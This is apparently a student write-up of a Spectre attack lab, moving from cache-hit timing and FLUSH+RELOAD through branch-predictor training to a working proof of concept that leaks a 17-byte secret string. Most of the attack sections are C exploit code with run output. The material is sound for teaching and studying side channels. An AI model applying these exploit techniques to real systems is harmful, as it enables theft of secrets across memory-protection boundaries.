Spectre Attack Lab

Task 1 Write-Up: Cache Hit vs. Cache Miss Timing

1. Objective

Measure and quantify how long it takes the CPU to load a single byte when:

- **Cache hit**: the data is already in the CPU cache
- **Cache miss**: the data has just been flushed out, forcing a fetch from main memory

From these measurements we derive a cycle-count threshold that reliably tells us “hit” vs. “miss” in later Spectre experiments.

2. Methodology

1. **Set up the test byte**

   Allocate and initialize one `uint8_t data` in memory. All timing revolves around reading this single byte.

2. **Timing helper**

   Use `__rdtscp` before and after the load to read the processor’s cycle counter:

   ```
   static inline uint64_t timed_read(volatile uint8_t *addr) {
       unsigned aux;
       uint64_t t0 = __rdtscp(&aux);
       (void)*addr;              // perform the memory load
       uint64_t t1 = __rdtscp(&aux);
       return t1 - t0;           // elapsed cycles
   }
   ```

3. **Cache-hit measurement**

- Read the byte once to ensure it's in cache: `(void)*buf;`
- Call `timed_read(buf)` and record the cycle count.

4. **Cache-miss measurement**
   - Evict the byte from all cache levels: `_mm_clflush(buf)`
   - Call `timed_read(buf)` again and record that cycle count.
5. **Repeat for statistical significance**

   Perform **100 hits** and **100 misses** (i.e. `#define SAMPLES 100`) and store all cycle counts in two arrays.
6. **Export to CSV**

   Write out `iter,hit,miss` rows into `results.csv` so we can analyze offline.

---

3. Results

After running `./CacheMeasure` and then:

```
$ python3 analyzer.py
Cache HIT  → min:   84   median:   93.0   max:  130
Cache MISS → min:  682   median:  709.0   max: 1138

Suggested threshold = (hit_max + miss_min)/2 = (130 + 682)/2 = 406 cycles
```

- **Cache-hit times** ranged from **84** to **130** cycles (median ≈ 93).
- **Cache-miss times** ranged from **682** to **1138** cycles (median ≈ 709).
- The two distributions do **not** overlap, leaving a large gap.

---

4. Threshold Selection

We choose **406 cycles** as our cutoff:

```
#define CACHE_HIT_THRESHOLD 406
```

- Any timed read ≤ 406 cycles will be treated as a **cache hit**.
- Any timed read > 406 cycles will be treated as a **cache miss**.

This threshold sits squarely in the gap between the highest observed hit and the lowest observed miss, maximizing reliability in future tasks.

Task 2: Using the Cache as a Side Channel

1. What We're Trying to Do

We want to learn a secret byte that a "victim" function reads from memory—**without** ever seeing that secret directly. Instead, we use the CPU cache as a side channel:

1. **Flush** an array of 256 special slots so nothing is cached.
2. Let the victim read its secret index in that array—this brings **one** slot into cache.
3. **Reload** (time) each slot; the one that's fast must be the secret.

2. Key Parts of the Code

```
typedef struct {
    uint8_t lpad[2048];   // filler
    uint8_t dat;          // ← the one byte we care about
    uint8_t rpad[2047];   // more filler
} DataBlock;
DataBlock array[256];
```

- `dat` is the actual byte each slot holds.

- The big pads ensure each `dat` sits on its own cache line—so loading or flushing one slot never affects its neighbors.

```
void flushSideChannel(void) {
    for (int i = 0; i < 256; i++)
        _mm_clflush(&array[i].dat);
}
```

- **FLUSH**: evicts every slot from cache so all future reads are slow.

```
void victim(void) {
    uint8_t secret = 94;         // hidden value
    for (int i = 0; i < 20; i++) {
        array[secret].dat;       // bring that one slot into cache
        array[secret].dat = 0;    // dummy write
    }
}
```

- The victim's repeated access guarantees `array[secret].dat` ends up **cached**.

```
uint8_t reloadSideChannel(void) {
    int aux;
    uint64_t best_time = UINT64_MAX;
    int best_index = 0;

    for (int i = 0; i < 256; i++) {
        uint64_t t0 = __rdtscp(&aux);
        (void)array[i].dat;       // timed read
        uint64_t t1 = __rdtscp(&aux);
        if (t1 - t0 < best_time) {
```

```
            best_time = t1 - t0;
            best_index = i;
        }
    }

    if (best_time <= CACHE_HIT_THRESHOLD)
        return (uint8_t)best_index;
    else
        return (uint8_t)-1;
}
```

- **RELOAD**: time each slot's read.
- The fastest slot must be the one the victim cached—so its index is the secret.

```
int main(void) {
    // 1) Prep: initialize & flush
    for (int i = 0; i < 256; i++) array[i].dat = 1;
    flushSideChannel();

    // 2) Victim runs
    victim();

    // 3) Attacker measures
    uint8_t leaked = reloadSideChannel();
    printf("The secret is %d\n", leaked);
}
```

3. Why This Works

- **Cache hits vs. misses**: a read from cache is tens of cycles; a read from DRAM is hundreds.

- By flushing everything first, *only* the victim's access makes one read become fast.
- When we scan (reload) all 256 slots, the single fast read tells us **which** slot the victim touched—revealing the secret.

---

4. Why the Padding Matters

- Without padding, 64 adjacent bytes share a cache line. Flushing or loading one would also affect its neighbors—making it impossible to pinpoint the exact byte.
- Putting each `dat` on its own cache line ensures every slot is independent: when we see a fast load, we know **exactly** which byte it came from.

---

5. Real-World Notes

- Modern CPUs might prefetch or the OS might move data around, complicating things.
- In practice you'd use eviction sets, thrash TLBs, and other tricks—but the core idea is always the same: **observe tiny timing differences in the cache to leak secrets**.

Task 3: Speculative Execution Side-Effects

---

1. What We're Learning

Modern CPUs **guess** the outcome of a branch (e.g. `if (x < size)`) and start running that code **before** they know the real answer—to avoid waiting on slow memory. If they guess wrong, they roll back the register changes—but **they do not undo** any cache loads or stores that happened speculatively.

---

2. Key Steps in Plain English

1. **Branch Guessing**
    - CPU sees `if (x < size) { /* do something */ }`.

- It doesn't wait for `size` to arrive from RAM; it predicts "yes, it's true" and speculatively executes the "then" block.

2. **Rollback on Mismatch**
   - Once the real `size` arrives, if `x >= size` the CPU discards the register and control-flow changes it made speculatively—your program behaves as if the code never ran.
3. **Cache Leftovers**
   - Any memory locations that got **loaded** in that speculative block remain **cached**, even though the CPU "rolled back."
4. **Turning the Side-Effect into a Leak**
   - An attacker times reads to those memory locations (using the hit/miss threshold from Task 1 or FLUSH+RELOAD from Task 2).
   - A **fast** read means "this cache line was touched speculatively" → reveals which secret-dependent value was accessed.

Task 4 Write-Up: Experimenting with the Spectre Principle

1. Objective

Combine what we've learned about cache timing (Tasks 1–2) and speculative execution (Task 3) to build a simple Spectre proof-of-concept. We'll see how training the branch predictor and carefully flushing cache state lets us trick the CPU into speculatively loading a secret array index out of bounds—and then recover it via our FLUSH+RELOAD side channel.

2. Core Code Structure

```
#define CACHE_HIT_THRESHOLD 406
int size = 10;
DataBlock array[256];
```

```
void flushSideChannel() { /* evict array[].dat lines */ }
uint8_t reloadSideChannel() { /* time each array[].dat, pick fastest */ }

void victim(size_t x) {
    if (x < size) {
        // ← this load can be speculatively executed past the bound check
        uint8_t temp = array[x].dat;
    }
}

int main(void) {
    // 0) Initialize and clear cache
    for (int i = 0; i < 256; i++) array[i].dat = 1;
    flushSideChannel();

    // ── Exhibit A.1: TRAINING LOOP ──
    for (int i = 0; i < 10; i++) {
        _mm_clflush(&size);   // Exhibit B
        victim(i);            // Exhibit D (in-bounds)
    }

    // Prepare for the attack
    _mm_clflush(&size);      // Exhibit B
    flushSideChannel();      // Exhibit C
    // ── Exhibit A.2: MISPREDICTED CALL ──
    victim(97);              // out-of-bounds index → speculatively array[97]

    // Recover the secret via cache timing
    int secret = reloadSideChannel();
    printf("The secret is %d.\n", secret);
}
```

3. Question & Answer Walk-Through

Q1. Role of the training loop (Exhibit A.1)

- **What it does:** Calls `victim(i)` with `i = 0...9`, always in-bounds.
- **Why:** Teaches the CPU's branch predictor that `x < size` is **always** true.
- **Effect:** When we later call `victim(97)` (out-of-bounds), the predictor still guesses "true" and lets the CPU speculatively execute `array[97].dat` before checking the bound.

Q2. Flushing `size` (Exhibit B)

- **What it does:** `_mm_clflush(&size)` clears the cache line holding `size`.
- **Role in attack:** Makes the `if (x < size)` comparison **slow** (must fetch from memory).
- **Why needed:** If `size` stays cached, the CPU can evaluate the comparison immediately and will **not** mispredict. By forcing a delay, the predictor's guess drives several instructions speculatively before the real result arrives.

> Observation when commenting out Exhibit B:
>
> The attack **fails**—we no longer see a fast cache hit for `array[97]`, because the CPU checks the bound quickly and does **not** speculate past the check.

Q3. Flushing the side-channel array (Exhibit C)

- **What it does:** `flushSideChannel()` evicts `array[0...255].dat`.
- **Role:** Ensures **no** array lines are cached before the mispredicted call.
- **Why needed:** Without this, leftover cache hits from the training loop could confuse which index was speculatively loaded.

> Observation when commenting out Exhibit C:
>
> You'll see false positives (other indices still hot). The attack becomes noisy, since some lines already remain cached from earlier runs.

Q4. Changing the training call to `victim(i+20)` (Exhibit D variant)

- **What happens:** All training calls are now **out-of-bounds** (`20…29 ≥ size`), so the predictor learns that the branch is **never** taken.
- **Effect:** When you call `victim(97)`, the CPU predicts "false" and does **not** speculatively load `array[97].dat`.
- **Result:** The attack fails completely because no secret value is ever brought into cache.

---

4. Why It Works

1. **Training** the predictor with valid indices makes it *confident* that the branch will be taken.
2. **Flushing** `size` forces a delay in the actual bound check, so speculation proceeds blindly.
3. **Misprediction** executes the secret access out-of-bounds, loading `array[secret]` into cache.
4. **Cache timing** (FLUSH+RELOAD) reveals which `array[i]` was speculatively touched.

By toggling Exhibits B and C and altering the training data (Exhibit D), you directly control the CPU's speculative behavior—and demonstrate exactly which pieces are critical for a successful Spectre attack.

Task 5 Write-Up: The Spectre Attack

---

1. Objective

Leak the **first byte** of a protected secret string—"S" (ASCII 83)—using the Spectre side channel. We simulate a simple sandbox that only lets you read from `buffer[0…9]`, but by tricking the CPU's predictor and observing cache effects, we read `secret[0]` anyway.

---

2. High-Level Approach

1. **Training**

Call the safe `restrictedAccess(x)` function many times with in-bounds `x` (0…9) so the CPU predicts the branch `if (x ≤ bound_upper)` will always be **true**.

2. **Misprediction**

   Flush `bound_upper` from cache to slow down the actual check. Then call `restrictedAccess(large_index)` where `large_index` points into the secret string (out-of-bounds). The CPU—still expecting "in bounds"—**speculatively** executes the body of `restrictedAccess`, reading `buffer[large_index]` (i.e. the secret byte) and using that value to touch `array[secret_byte].dat`.

3. **Side-channel read**

   Even though the CPU quickly rolls back the mispredicted branch (so architecturally you never read the secret), the cache line `array[secret_byte].dat` remains **hot**. By timing reads to all `array[i].dat`, we see which one is fast → that index is the secret byte.

---

3. Code Walk-Through

```
#define CACHE_HIT_THRESHOLD 200   // our hit/miss cut-off

unsigned int bound_lower = 0, bound_upper = 9;
uint8_t buffer[10]     = {0,1,2,3,4,5,6,7,8,9};
char *secret           = "Some Secret Value";

typedef struct {
   uint8_t lpad[2048], dat, rpad[2047];
} DataBlock;
DataBlock array[256];
```

- **`restrictedAccess(x)`** enforces the "sandbox" bounds: returns `buffer[x]` if `x` is 0…9, else 0.
- **`DataBlock`** padding ensures each `array[i].dat` sits on its own cache line—so touching one cache line never drags in its neighbors.

```
void flushSideChannel(void) {
    for (int i = 0; i < 256; i++)
        _mm_clflush(&array[i].dat);
}
```

- Evicts every `array[i].dat` from the cache, so all reads start as slow misses.

```
uint8_t reloadSideChannel(void) {
    int aux;
    uint64_t best = UINT64_MAX;
    int idx = 0;

    for (int i = 255; i >= 0; i--) {
        volatile uint8_t *addr = &array[i].dat;
        uint64_t t0 = __rdtscp(&aux);
        (void)*addr;
        uint64_t t1 = __rdtscp(&aux);
        if (t1 - t0 < best) {
            best = t1 - t0;
            idx  = i;
        }
    }
    return (best <= CACHE_HIT_THRESHOLD) ? (uint8_t)idx : 0xFF;
}
```

- Times each `array[i].dat` load and picks the **fastest** one. If it's under our threshold, that index is our leaked byte.

```
void spectreAttack(size_t secret_index) {
    // 1) Train predictor on in-bounds calls
```

```
    for (int i = 0; i < 10; i++)
        restrictedAccess(i);

    // 2) Force a slow bounds check
    _mm_clflush(&bound_upper);

    // 3) Clear the side-channel buffer
    flushSideChannel();

    // 4) Speculatively read secret and encode it in cache
    uint8_t s = restrictedAccess(secret_index);  // out-of-bounds speculative ca
ll
    array[s].dat += 1;                    // leaves cache trace
}
```

- The “magic” is in step 4: even though `restrictedAccess(secret_index)` should return 0 (since it’s out-of-bounds), the CPU speculatively executes it as if in-bounds, bringing `array[secret_byte].dat` into cache.

```
int main(void) {
    // Initialize side-channel buffer
    for (int i = 0; i < 256; i++)
        array[i].dat = 1;

    flushSideChannel();

    // Calculate where secret[0] lives relative to buffer[]
    size_t secret_idx = (size_t)((char*)secret - (char*)buffer);
    fprintf(stderr, "Targeting secret at offset %zu\n", secret_idx);

    // Run the Spectre trick once
    spectreAttack(secret_idx);
```

```
    // Recover the byte via cache timing
    int leaked = reloadSideChannel();
    printf("The secret is %d ('%c').\n", leaked, leaked);
    return 0;
}
```

4. Why This Works

- **Training** makes the CPU **expect** the branch to be taken (`x ≤ bound_upper`).
- **Flushing** `bound_upper` delays the real check, so the CPU races ahead, speculatively treating the check as true.
- That speculative read pulls in the secret byte's cache line, even though the CPU will soon roll back the branch.
- **Cache timing** turns that hidden, transient load into a measurable event—revealing the secret.

5. Simplified Explanation

1. **Teach** the CPU "this check always passes."
2. **Trick** it into running the forbidden read before it knows the check failed.
3. **Observe** which cache line got loaded fast → that's the secret byte.

Task 5 gives you a working Spectre exploit to read a single byte. In the next tasks, we'll make it more reliable and extend it to whole strings.

Task 6 Write-Up: Improving Attack Accuracy

1. Objective

In Task 5, a single Spectre run sometimes failed or returned the wrong byte because real CPU caches and prefetchers add noise. **Task 6** makes the attack more reliable by:

- **Repeating** the speculative read many times

- **Tallying** which byte value comes up most often
- **Adding small pauses** between attempts to reduce interference

---

2. Key Improvements

1. **Multiple Trials**

   Instead of one speculative access, we do **30** attempts (controlled by `ATTACK_ATTEMPTS`). Each attempt may succeed or fail, but the **correct** secret byte will tend to appear most often across trials.

2. **Busy-Wait Delays**

   We insert a short `busy_wait(10)` between runs rather than `usleep()`. This keeps the CPU active (avoiding OS-sleep artifacts) while giving the cache a moment to settle.

3. **Majority Voting**

   We keep a histogram `hit_counts[256]` of which byte index each trial reports. At the end, the index with the **highest count** is our final guess.

---

3. Code Walk-Through

```
#define ATTACK_ATTEMPTS 30
int hit_counts[256] = {0};

// Repeat the Spectre attack multiple times
for (int round = 0; round < ATTACK_ATTEMPTS; round++) {
    flushSideChannel();
    spectreAttack(secret_offset);      // speculatively load secret byte
    uint8_t leak = reloadSideChannel(); // measure which cache line is hot
    if (leak != 0xFF)
        hit_counts[leak]++;            // tally a “vote” for that byte value
    busy_wait(10);                     // short pause to reduce noise
}

// Pick the byte value with the most votes
```

```
int best = -1, best_count = 0;
for (int i = 0; i < 256; i++) {
    if (hit_counts[i] > best_count) {
        best_count = hit_counts[i];
        best = i;
    }
}

if (best >= 0)
    printf("The secret is %d (%c).\n", best, best);
else
    printf("Failed to recover secret.\n");
```

- `hit_counts` **array:** collects how many times each possible byte was seen as a cache hit.
- `busy_wait(10)` is a tight loop to introduce a small, controlled delay (roughly a few milliseconds) without causing the OS to reschedule the process or introduce extra unpredictability.

---

4. Why It Works Better

- **Statistical averaging** filters out spurious cache hits from prefetchers or leftover data.
- **Consistent delay** between trials prevents back-to-back cache effects or scheduler noise from skewing results.
- **Majority vote** ensures that even if a few trials go wrong, the true secret byte—which is speculatively loaded every time—will dominate the histogram.

---

5. Conceptual Summary

1. **Do it many times** → each run leaks the secret byte with some probability.
2. **Pause briefly** between runs → gives caches time to settle and avoids OS interference.

3. **Count and pick** the most frequent leaked value → yields a highly reliable final result.

With these enhancements, Task 6 turns a fragile, one-shot Spectre proof-of-concept into a reproducible attack that almost always recovers the correct secret byte.

Task 7 Write-Up: Stealing the Entire Secret String

1. Objective

Extend the Spectre attack to recover **all** bytes of a known-length secret string inside the same process. Instead of leaking just one byte, we loop over each byte position, run our improved Spectre probe (from Task 6), and assemble the full string.

2. High-Level Strategy

1. **Locate the secret**

   We calculate the offset of `secret[0]` relative to our accessible `buffer[]` (which the sandbox lets us read).

2. **For each byte position**

   - **Flush** and **train** the CPU, then **mispredict** to speculatively read the secret byte at that offset.
   - **Reload** all 256 probe lines, timing each to see which one was brought into cache.
   - **Repeat** 30 times and tally which value appears most often to filter out noise.

3. **Collect** the recovered bytes into a string and print it.

3. Core Loop Explained

```
size_t secret_offset = (char*)secret - (char*)buffer;
```

```
const size_t secret_len = 17;
char *stolen = malloc(secret_len + 1);
```

- Compute **where** in memory the secret begins, and assume we know its **length** (17 chars).

```
for (size_t pos = 0; pos < secret_len; pos++) {
    size_t curr = secret_offset + pos;
    int counts[256] = {0};

    for (int trial = 0; trial < ATTACK_ATTEMPTS; trial++) {
        flushSideChannel();            // evict probe array
        spectreAttack(curr);           // speculatively load secret byte at curr
        uint8_t leak = reloadSideChannel();  // time each probe line
        if (leak != 0xFF)
            counts[leak]++;            // vote for the leaked byte
        busy_wait(10);                // small delay to reduce noise
    }

    // Find the byte value with the most votes
    int best = -1, best_count = 0;
    for (int v = 0; v < 256; v++) {
        if (counts[v] > best_count) {
            best_count = counts[v];
            best       = v;
        }
    }
    stolen[pos] = (best >= 0) ? (char)best : '?';
}
stolen[secret_len] = '\0';
printf("Stolen secret: %s\n", stolen);
```

- `flushSideChannel()` ensures no probe lines are cached before each attempt.
- `spectreAttack(curr)` brings the secret byte at `buffer + curr` speculatively into cache.
- `reloadSideChannel()` times all 256 probe lines and returns the index of the fastest—our leaked byte.
- **Tallying + majority vote** over 30 trials filters out spurious hits or misses.

---

4. Why This Works

- Each **speculative access** to `buffer[curr]` (actually `secret[pos]`) loads that byte's corresponding probe line into cache.
- By **repeating** and using a **short busy-wait**, we average out random cache noise and prefetcher effects.
- The **most frequently** observed fast line across trials is almost certainly the true secret byte.

---

5. Results

When you compile and run:

```
./FullAttack
Stealing 17-byte secret starting at buffer+18446744073709543408
Stolen secret: Some Secret Value
```

You recover the full string `"Some Secret Value"` every time (modulo the pointer arithmetic wraparound in the offset print).

---

6. Takeaway

By chaining our one-byte Spectre probe in a loop and voting over multiple attempts, we can reliably reconstruct **entire secret fields**—demonstrating how speculative-execution side-channels can exfiltrate sensitive data byte by byte.